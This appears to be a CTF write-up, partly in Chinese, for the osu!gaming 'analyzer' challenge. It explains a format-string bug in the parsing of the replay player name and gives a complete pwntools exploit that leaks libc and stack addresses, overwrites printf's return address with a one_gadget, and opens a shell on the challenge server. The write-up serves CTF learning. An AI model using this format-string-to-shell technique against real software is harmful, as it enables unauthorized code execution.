    read_string(&v11, &v10, format, 255LL);
    consume_bytes(&v11, &v10, 10LL);
    v6 = read_short(&v11, &v10);
    printf("Miss count: %d\n", (unsigned int)v6);
    if ( v6 )
      puts("Yep, looks like you missed.");
    else
      puts("You didn't miss!");
    puts("=~=~=~=~=~=~=~=~=~=~=\n");
    free(lineptr);
    free(ptr);
  }
  return 0;
}

漏洞出现在对playername的解析,存在一个格式化字符串的漏洞,需要根据wiki 中 osr文件结构的描述,构造一个合适的osr file,然后打格式化字符串,不合法的file会直接exit()

read_string(&v11, &v10, format, 255LL);
printf("Player name: ");
printf(format);

具体的利用思路是 第一次格式化字符串leak栈上libc相关的地址 还有栈地址,算出printf的返回地址,然后第二次call printf的时候把printf的返回地址改成one gadget

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chal.osugaming.lol"
PORT = 7273

elf = context.binary = ELF('./analyzer')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



def byte2hex(byte):
    if isinstance(byte, bytes) and len(byte) == 1:
        high = (byte[0] >> 4) & 0xf
        low = byte[0] & 0xf
        return f"{high:01x}{low:01x}"

def bytes2hex(byte_data):
    if isinstance(byte_data, bytes):
        return ''.join(f"{b:02x}" for b in byte_data)


p = connect()


# string ULEB128
# 分为三个部分,每个部分一个字节
# 0x0b string len, string ....

# osr file struct
# 1byte game mode 
# 4byte version of the game

# string(0x0b + len(1byte) + 32bytes) osu! beatmap MD5 hash
# string (0x0b + len(1byte) + player name) about player name
# string(0x0b + len(1byte)) osu! replay MD5 hash (includes certain properties of the replay)


# game mode && game version 5bytes
payload = b'\x00\xBE\xB3\x34\x01'

# osu! beatmap MD5 hash 1 + 1 + 32 = 34 bytes
payload += b''.join([
    b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
    b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
    b'\x32\x65'])


# string (0x0b + len(1byte) + player name) about player name
# payload += b'\x0B\x04\x6E\x79\x64\x6e'

format_string = b"%p-%pA" + b"%p-" * 3 + b'BBB%p'
payload += b'\x0B\x14' + format_string

# hash2 replay MD5 hash
payload += b''.join([
    b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
    b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
    b'\x32\x65'])
# consume_bytes(&input_data_hex2bin_ptr, &size, 10);

# all short(2 bytes)
# Number of 300s 
# Number of 100s in standard, 150s in Taiko, 100s in CTB, 100s in mania
# Number of 50s in standard, small fruit in CTB, 50s in mania
# Number of Gekis in standard, Max 300s in mania
# Number of Katus in standard, 200s in mania
payload += b'\x42' * 10

# Number of misses short
payload += b'\x00' * 2 # 好耶 0 miss

# print(len(payload))


payload = bytes2hex(payload)
# g(p)
sla("./analyzer):",payload)

ru("A")
libc_base = int(r(14),16) - (0x7f5e10b14887 - 0x7f5e10a00000)
ru("BBB")
return_addr = int(r(14),16) - (0x7ffeb990b0e8 - 0x7ffeb990ae68) # sub_function return_addr()
success(f"libc_base ->{hex(libc_base)}")
success(f"return_addr ->{hex(return_addr)}")



ret = 0x000000000040101a # ret
rdi = libc_base + 0x000000000002a3e5 #c pop rdi; ret
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']



payload = b'\x00\xBE\xB3\x34\x01'
payload += b''.join([
    b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
    b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
    b'\x32\x65'])


# pwndbg> fmtarg 0x7ffe22573f60
# The index of format argument : 15 ("\%14$p")
# pwndbg> 

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [rdx] == NULL || rdx == NULL

ogg = libc_base + 0xebc85
format_string = fmtstr_payload(14,{return_addr:ogg},write_size='short')
print(len(format_string))

payload += b'\x0B\x40' + format_string
payload += b''.join([
    b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
    b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
    b'\x32\x65'])
payload += b'\x42' * 10
payload += b'\x00' * 2

payload = bytes2hex(payload)
sla("./analyzer):",payload)


p.interactive()

唉,咱好菜,不会pyjail 不会v8

Read More
⬆︎TOP